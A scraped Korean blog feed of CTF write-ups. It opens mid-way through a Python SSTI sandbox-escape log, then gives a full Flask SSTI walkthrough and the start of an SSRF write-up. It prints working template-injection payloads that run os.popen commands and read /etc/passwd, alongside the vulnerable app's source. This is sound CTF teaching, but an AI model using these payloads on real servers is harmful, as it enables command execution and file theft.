&amp;lt;class 'set'&amp;gt;, 'slice': &amp;lt;class 'slice'&amp;gt;, 'staticmethod': &amp;lt;class 'staticmethod'&amp;gt;, 'str': &amp;lt;class 'str'&amp;gt;, 'super': &amp;lt;class 'super'&amp;gt;, 'tuple': &amp;lt;class 'tuple'&amp;gt;, 'type': &amp;lt;class 'type'&amp;gt;, 'zip': &amp;lt;class 'zip'&amp;gt;, '__debug__': True, 'BaseException': &amp;lt;class 'BaseException'&amp;gt;, 'Exception': &amp;lt;class 'Exception'&amp;gt;, 'TypeError': &amp;lt;class 'TypeError'&amp;gt;, 'StopAsyncIteration': &amp;lt;class 'StopAsyncIteration'&amp;gt;, 'StopIteration': &amp;lt;class 'StopIteration'&amp;gt;, 'GeneratorExit': &amp;lt;class 'GeneratorExit'&amp;gt;, 'SystemExit': &amp;lt;class 'SystemExit'&amp;gt;, 'KeyboardInterrupt': &amp;lt;class 'KeyboardInterrupt'&amp;gt;, 'ImportError': &amp;lt;class 'ImportError'&amp;gt;, 'ModuleNotFoundError': &amp;lt;class 'ModuleNotFoundError'&amp;gt;, 'OSError': &amp;lt;class 'OSError'&amp;gt;, 'EnvironmentError': &amp;lt;class 'OSError'&amp;gt;, 'IOError': &amp;lt;class 'OSError'&amp;gt;, 'EOFError': &amp;lt;class 'EOFError'&amp;gt;, 'RuntimeError': &amp;lt;class 'RuntimeError'&amp;gt;, 'RecursionError': &amp;lt;class 'RecursionError'&amp;gt;, 'NotImplementedError': &amp;lt;class 'NotImplementedError'&amp;gt;, 'NameError': &amp;lt;class 'NameError'&amp;gt;, 'UnboundLocalError': &amp;lt;class 'UnboundLocalError'&amp;gt;, 'AttributeError': &amp;lt;class 'AttributeError'&amp;gt;, 'SyntaxError': &amp;lt;class 'SyntaxError'&amp;gt;, 'IndentationError': &amp;lt;class 'IndentationError'&amp;gt;, 'TabError': &amp;lt;class 'TabError'&amp;gt;, 'LookupError': &amp;lt;class 'LookupError'&amp;gt;, 'IndexError': &amp;lt;class 'IndexError'&amp;gt;, 'KeyError': &amp;lt;class 'KeyError'&amp;gt;, 'ValueError': &amp;lt;class 'ValueError'&amp;gt;, 'UnicodeError': &amp;lt;class 'UnicodeError'&amp;gt;, 'UnicodeEncodeError': &amp;lt;class 'UnicodeEncodeError'&amp;gt;, 'UnicodeDecodeError': &amp;lt;class 'UnicodeDecodeError'&amp;gt;, 'UnicodeTranslateError': &amp;lt;class 'UnicodeTranslateError'&amp;gt;, 'AssertionError': &amp;lt;class 'AssertionError'&amp;gt;, 'ArithmeticError': &amp;lt;class 'ArithmeticError'&amp;gt;, 'FloatingPointError': &amp;lt;class 'FloatingPointError'&amp;gt;, 'OverflowError': &amp;lt;class 'OverflowError'&amp;gt;, 'ZeroDivisionError': &amp;lt;class 'ZeroDivisionError'&amp;gt;, 'SystemError': &amp;lt;class 'SystemError'&amp;gt;, 'ReferenceError': &amp;lt;class 'ReferenceError'&amp;gt;, 'BufferError': &amp;lt;class 'BufferError'&amp;gt;, 'MemoryError': &amp;lt;class 'MemoryError'&amp;gt;, 'Warning': &amp;lt;class 'Warning'&amp;gt;, 'UserWarning': &amp;lt;class 'UserWarning'&amp;gt;, 'DeprecationWarning': &amp;lt;class 'DeprecationWarning'&amp;gt;, 'PendingDeprecationWarning': &amp;lt;class 'PendingDeprecationWarning'&amp;gt;, 'SyntaxWarning': &amp;lt;class 'SyntaxWarning'&amp;gt;, 'RuntimeWarning': &amp;lt;class 'RuntimeWarning'&amp;gt;, 'FutureWarning': &amp;lt;class 'FutureWarning'&amp;gt;, 'ImportWarning': &amp;lt;class 'ImportWarning'&amp;gt;, 'UnicodeWarning': &amp;lt;class 'UnicodeWarning'&amp;gt;, 'BytesWarning': &amp;lt;class 'BytesWarning'&amp;gt;, 'ResourceWarning': &amp;lt;class 'ResourceWarning'&amp;gt;, 'ConnectionError': &amp;lt;class 'ConnectionError'&amp;gt;, 'BlockingIOError': &amp;lt;class 'BlockingIOError'&amp;gt;, 'BrokenPipeError': &amp;lt;class 'BrokenPipeError'&amp;gt;, 'ChildProcessError': &amp;lt;class 'ChildProcessError'&amp;gt;, 'ConnectionAbortedError': &amp;lt;class 'ConnectionAbortedError'&amp;gt;, 'ConnectionRefusedError': &amp;lt;class 'ConnectionRefusedError'&amp;gt;, 'ConnectionResetError': &amp;lt;class 'ConnectionResetError'&amp;gt;, 'FileExistsError': &amp;lt;class 'FileExistsError'&amp;gt;, 'FileNotFoundError': &amp;lt;class 'FileNotFoundError'&amp;gt;, 'IsADirectoryError': &amp;lt;class 'IsADirectoryError'&amp;gt;, 'NotADirectoryError': &amp;lt;class 'NotADirectoryError'&amp;gt;, 'InterruptedError': &amp;lt;class 'InterruptedError'&amp;gt;, 'PermissionError': &amp;lt;class 'PermissionError'&amp;gt;, 'ProcessLookupError': &amp;lt;class 'ProcessLookupError'&amp;gt;, 'TimeoutError': &amp;lt;class 'TimeoutError'&amp;gt;, 'open': &amp;lt;built-in function open&amp;gt;, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'builtins': &amp;lt;module 'builtins' (built-in)&amp;gt;, 'sys': &amp;lt;module 'sys' (built-in)&amp;gt;, 'register': &amp;lt;built-in function register&amp;gt;, 'lookup': &amp;lt;built-in function lookup&amp;gt;, 'encode': &amp;lt;built-in function encode&amp;gt;, 'decode': &amp;lt;built-in function decode&amp;gt;, 'escape_encode': &amp;lt;built-in function escape_encode&amp;gt;, 'escape_decode': &amp;lt;built-in function escape_decode&amp;gt;, 'utf_8_encode': &amp;lt;built-in function utf_8_encode&amp;gt;, 'utf_8_decode': &amp;lt;built-in function utf_8_decode&amp;gt;, 'utf_7_encode': &amp;lt;built-in function utf_7_encode&amp;gt;, 'utf_7_decode': &amp;lt;built-in function utf_7_decode&amp;gt;, 'utf_16_encode': &amp;lt;built-in function utf_16_encode&amp;gt;, 'utf_16_le_encode': &amp;lt;built-in function utf_16_le_encode&amp;gt;, 'utf_16_be_encode': &amp;lt;built-in function utf_16_be_encode&amp;gt;, 'utf_16_decode': &amp;lt;built-in function utf_16_decode&amp;gt;, 'utf_16_le_decode': &amp;lt;built-in function utf_16_le_decode&amp;gt;, 'utf_16_be_decode': &amp;lt;built-in function utf_16_be_decode&amp;gt;, 'utf_16_ex_decode': &amp;lt;built-in function utf_16_ex_decode&amp;gt;, 'utf_32_encode': &amp;lt;built-in function utf_32_encode&amp;gt;, 'utf_32_le_encode': &amp;lt;built-in function utf_32_le_encode&amp;gt;, 'utf_32_be_encode': &amp;lt;built-in function utf_32_be_encode&amp;gt;, 'utf_32_decode': &amp;lt;built-in function utf_32_decode&amp;gt;, 'utf_32_le_decode': &amp;lt;built-in function utf_32_le_decode&amp;gt;, 'utf_32_be_decode': &amp;lt;built-in function utf_32_be_decode&amp;gt;, 'utf_32_ex_decode': &amp;lt;built-in function utf_32_ex_decode&amp;gt;, 'unicode_escape_encode': &amp;lt;built-in function unicode_escape_encode&amp;gt;, 'unicode_escape_decode': &amp;lt;built-in function unicode_escape_decode&amp;gt;, 'unicode_internal_encode': &amp;lt;built-in function unicode_internal_encode&amp;gt;, 'unicode_internal_decode': &amp;lt;built-in function unicode_internal_decode&amp;gt;, 'raw_unicode_escape_encode': &amp;lt;built-in function raw_unicode_escape_encode&amp;gt;, 'raw_unicode_escape_decode': &amp;lt;built-in function raw_unicode_escape_decode&amp;gt;, 'latin_1_encode': &amp;lt;built-in function latin_1_encode&amp;gt;, 'latin_1_decode': &amp;lt;built-in function latin_1_decode&amp;gt;, 'ascii_encode': &amp;lt;built-in function ascii_encode&amp;gt;, 'ascii_decode': &amp;lt;built-in function ascii_decode&amp;gt;, 'charmap_encode': &amp;lt;built-in function charmap_encode&amp;gt;, 'charmap_decode': &amp;lt;built-in function charmap_decode&amp;gt;, 'charmap_build': &amp;lt;built-in function charmap_build&amp;gt;, 'readbuffer_encode': &amp;lt;built-in function readbuffer_encode&amp;gt;, 'register_error': &amp;lt;built-in function register_error&amp;gt;, 'lookup_error': &amp;lt;built-in function lookup_error&amp;gt;, '__all__': ['register', 'lookup', 'open', 'EncodedFile', 'BOM', 'BOM_BE', 'BOM_LE', 'BOM32_BE', 'BOM32_LE', 'BOM64_BE', 'BOM64_LE', 'BOM_UTF8', 'BOM_UTF16', 'BOM_UTF16_LE', 'BOM_UTF16_BE', 'BOM_UTF32', 'BOM_UTF32_LE', 'BOM_UTF32_BE', 'CodecInfo', 'Codec', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReader', 'StreamWriter', 'StreamReaderWriter', 'StreamRecoder', 'getencoder', 'getdecoder', 'getincrementalencoder', 'getincrementaldecoder', 'getreader', 'getwriter', 'encode', 'decode', 'iterencode', 'iterdecode', 'strict_errors', 'ignore_errors', 'replace_errors', 'xmlcharrefreplace_errors', 'backslashreplace_errors', 'namereplace_errors', 'register_error', 'lookup_error'], 'BOM_UTF8': b'\xef\xbb\xbf', 'BOM_LE': b'\xff\xfe', 'BOM_UTF16_LE': b'\xff\xfe', 'BOM_BE': b'\xfe\xff', 'BOM_UTF16_BE': b'\xfe\xff', 'BOM_UTF32_LE': b'\xff\xfe\x00\x00', 'BOM_UTF32_BE': b'\x00\x00\xfe\xff', 'BOM': b'\xff\xfe', 'BOM_UTF16': b'\xff\xfe', 'BOM_UTF32': b'\xff\xfe\x00\x00', 'BOM32_LE': b'\xff\xfe', 'BOM32_BE': b'\xfe\xff', 'BOM64_LE': b'\xff\xfe\x00\x00', 'BOM64_BE': b'\x00\x00\xfe\xff', 'CodecInfo': &amp;lt;class 'codecs.CodecInfo'&amp;gt;, 'Codec': &amp;lt;class 'codecs.Codec'&amp;gt;, 'IncrementalEncoder': &amp;lt;class 'codecs.IncrementalEncoder'&amp;gt;, 'BufferedIncrementalEncoder': &amp;lt;class 'codecs.BufferedIncrementalEncoder'&amp;gt;, 'IncrementalDecoder': &amp;lt;class 'codecs.IncrementalDecoder'&amp;gt;, 'BufferedIncrementalDecoder': &amp;lt;class 'codecs.BufferedIncrementalDecoder'&amp;gt;, 'StreamWriter': &amp;lt;class 'codecs.StreamWriter'&amp;gt;, 'StreamReader': &amp;lt;class 'codecs.StreamReader'&amp;gt;, 'StreamReaderWriter': &amp;lt;class 'codecs.StreamReaderWriter'&amp;gt;, 'StreamRecoder': &amp;lt;class 'codecs.StreamRecoder'&amp;gt;, 'open': &amp;lt;function open at 0x7f55e71d7048&amp;gt;, 'EncodedFile': &amp;lt;function EncodedFile at 0x7f55e71de7b8&amp;gt;, 'getencoder': &amp;lt;function getencoder at 0x7f55e71de840&amp;gt;, 'getdecoder': &amp;lt;function getdecoder at 0x7f55e71de8c8&amp;gt;, 'getincrementalencoder': &amp;lt;function getincrementalencoder at 0x7f55e71de950&amp;gt;, 'getincrementaldecoder': &amp;lt;function getincrementaldecoder at 0x7f55e71de9d8&amp;gt;, 'getreader': &amp;lt;function getreader at 0x7f55e71dea60&amp;gt;, 'getwriter': &amp;lt;function getwriter at 0x7f55e71deae8&amp;gt;, 'iterencode': &amp;lt;function iterencode at 0x7f55e71deb70&amp;gt;, 'iterdecode': &amp;lt;function iterdecode at 0x7f55e71debf8&amp;gt;, 'make_identity_dict': &amp;lt;function make_identity_dict at 0x7f55e71dec80&amp;gt;, 'make_encoding_map': &amp;lt;function make_encoding_map at 0x7f55e71ded08&amp;gt;, 'strict_errors': &amp;lt;built-in function strict_errors&amp;gt;, 'ignore_errors': &amp;lt;built-in function ignore_errors&amp;gt;, 'replace_errors': &amp;lt;built-in function replace_errors&amp;gt;, 'xmlcharrefreplace_errors': &amp;lt;built-in function xmlcharrefreplace_errors&amp;gt;, 'backslashreplace_errors': &amp;lt;built-in function backslashreplace_errors&amp;gt;, 'namereplace_errors': &amp;lt;built-in function namereplace_errors&amp;gt;, '_false': 0}


[].__class__.__base__.__subclasses__()[93].__init__.__globals__[&amp;quot;sys&amp;quot;]
&amp;lt;module 'sys' (built-in)&amp;gt;


[].__class__.__base__.__subclasses__()[93].__init__.__globals__[&amp;quot;sys&amp;quot;].modules[&amp;quot;os&amp;quot;]
&amp;lt;module 'os' from '/usr/local/lib/python3.6/os.py'&amp;gt;


[].__class__.__base__.__subclasses__()[93].__init__.__globals__[&amp;quot;sys&amp;quot;].modules[&amp;quot;os&amp;quot;].popen('ls').read()
flag.txt index.php main.py requirements.txt upload.php


[].__class__.__base__.__subclasses__()[93].__init__.__globals__[&amp;quot;sys&amp;quot;].modules[&amp;quot;os&amp;quot;].popen('cat flag.txt').read()
TG19{templates_make_a_better_chat}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/110</guid>
      <comments>https://posix.tistory.com/110#entry110comment</comments>
      <pubDate>Sat, 20 Apr 2019 22:35:55 +0900</pubDate>
    </item>
    <item>
      <title>Hack Zone Tunisia - Some Chemistry 풀이</title>
      <link>https://posix.tistory.com/108</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kzoeW/btquxLmm976/h7oqd5gWejBh2eGIi1K5kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kzoeW/btquxLmm976/h7oqd5gWejBh2eGIi1K5kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kzoeW/btquxLmm976/h7oqd5gWejBh2eGIi1K5kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkzoeW%2FbtquxLmm976%2Fh7oqd5gWejBh2eGIi1K5kK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Hack Zone Tunisia 2019 web 4번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;SSTI 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nCEuL/btquvOdMGfV/5aqgMJVWxK5bKr8BGoYvqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nCEuL/btquvOdMGfV/5aqgMJVWxK5bKr8BGoYvqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nCEuL/btquvOdMGfV/5aqgMJVWxK5bKr8BGoYvqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnCEuL%2FbtquvOdMGfV%2F5aqgMJVWxK5bKr8BGoYvqk%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접속하면 멋진 플라스크 GIF와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;이 플라스크로부터 플래그를 얻으라&lt;/b&gt;는 메시지가 보입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blVmHN/btquw32lVqZ/NP0k8RyTUiR16TuxNMekJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blVmHN/btquw32lVqZ/NP0k8RyTUiR16TuxNMekJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blVmHN/btquw32lVqZ/NP0k8RyTUiR16TuxNMekJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblVmHN%2Fbtquw32lVqZ%2FNP0k8RyTUiR16TuxNMekJK%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 살펴보면 깔끔합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;css 파일도 열어봤지만, 전혀 도움이 되지 않았습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;http://149.56.110.180:5000/robots.txt&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;robots.txt&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;경로 힌트가 있는지 알아보기 위해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;robots.txt 파일을 요청해 보았는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;뜻밖의 응답이 나왔습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;요청한 PATH가 그대로 출력이 되는 것이죠.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 python-flask SSTI 취약점을 떠올릴 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;http://149.56.110.180:5000/{{7*7}}&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:plain&gt;49&amp;nbsp;&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;기대한대로 연산이 수행되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다만 flask 기본 변수인 self, config 를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;조회했을때 아무런 결과도 얻을 수 없었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7psVd/btquvNTrNJL/tssoTSWKp9D7Emowd2I4GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7psVd/btquvNTrNJL/tssoTSWKp9D7Emowd2I4GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7psVd/btquvNTrNJL/tssoTSWKp9D7Emowd2I4GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7psVd%2FbtquvNTrNJL%2FtssoTSWKp9D7Emowd2I4GK%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러던 중, request path에 /를 지우고 {{}}를 삽입해 보았는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;오류 메시지를 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY3mxC/btquxpc0dI1/d87qK6K4HZYZQ6IzJBCZe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY3mxC/btquxpc0dI1/d87qK6K4HZYZQ6IzJBCZe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY3mxC/btquxpc0dI1/d87qK6K4HZYZQ6IzJBCZe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY3mxC%2Fbtquxpc0dI1%2Fd87qK6K4HZYZQ6IzJBCZe1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;내용이 길어 일부 생략하였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;메시지를 읽어내려가다 보면 /app/app.py&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파일의 내용을 볼 수 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;&gt;&gt;&gt; print(secure('{{config}}'))
{% set config=None%}{% set self=None%}{{config}}&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;secure 함수를 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력한 내용 앞에서 config, self 변수들을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;초기화 하고 있다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;pre class=brush:py&gt;&gt;&gt;&gt; print(secure(&quot;{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}&quot;))
{% set config=None%}{% set self=None%}{{ ''.__class__.__mro__[2].__subclasses__ ()[40] ('/etc/passwd').read () }}&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;하지만 그것이 전부이고 추가적인 필터링은 없기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여타 flask SSTI payload 들을 이용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;별 문제없이 시스템에 접근할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EjJce/btquvN6ZofH/TaKIssxSqtsWzl0ikaKKBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EjJce/btquvN6ZofH/TaKIssxSqtsWzl0ikaKKBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EjJce/btquvN6ZofH/TaKIssxSqtsWzl0ikaKKBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEjJce%2FbtquvN6ZofH%2FTaKIssxSqtsWzl0ikaKKBk%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}&lt;/pre&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;오류 메시지에서 확인한 서버의 소스 경로를 입력하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;pre class=brush:py&gt;import flask
import os
from flask import render_template


app = flask.Flask(__name__)
app.config['FL44G'] = 'HZVII{n0t_S3cure_fl4sK_4pp}'


@app.route('/&lt;path:index&gt;')
def index(index):
    def secure(s):
        s = s.replace('(', ' (').replace(')', ')')
        
        blacklist = ['config','self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    if(flask.render_template_string(secure(index))=='None'):
        return 'Nice Try !!'
    else:

            return flask.render_template_string(secure(index))


@app.route('/')
def index1():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=brush:py&gt;HZVII{n0t_S3cure_fl4sK_4pp}&lt;/pre&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/108</guid>
      <comments>https://posix.tistory.com/108#entry108comment</comments>
      <pubDate>Sun, 14 Apr 2019 19:03:07 +0900</pubDate>
    </item>
    <item>
      <title>ByteBandits CTF - Online Previewer 2 문제풀이</title>
      <link>https://posix.tistory.com/107</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFyqbK/btquzHDMyjm/ivJKK9XAZY9S7G3rGVuoeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFyqbK/btquzHDMyjm/ivJKK9XAZY9S7G3rGVuoeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFyqbK/btquzHDMyjm/ivJKK9XAZY9S7G3rGVuoeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFyqbK%2FbtquzHDMyjm%2FivJKK9XAZY9S7G3rGVuoeK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ByteBandit CTF Web 4번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;SSRF 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;저는 이 문제를 풀지 못했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;풀지 못한 문제의 Writeup을 올리는 것은 처음인데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;재미있는 기법이 사용되었으므로, 특별히 기록하였습니다.&lt;/p&gt;
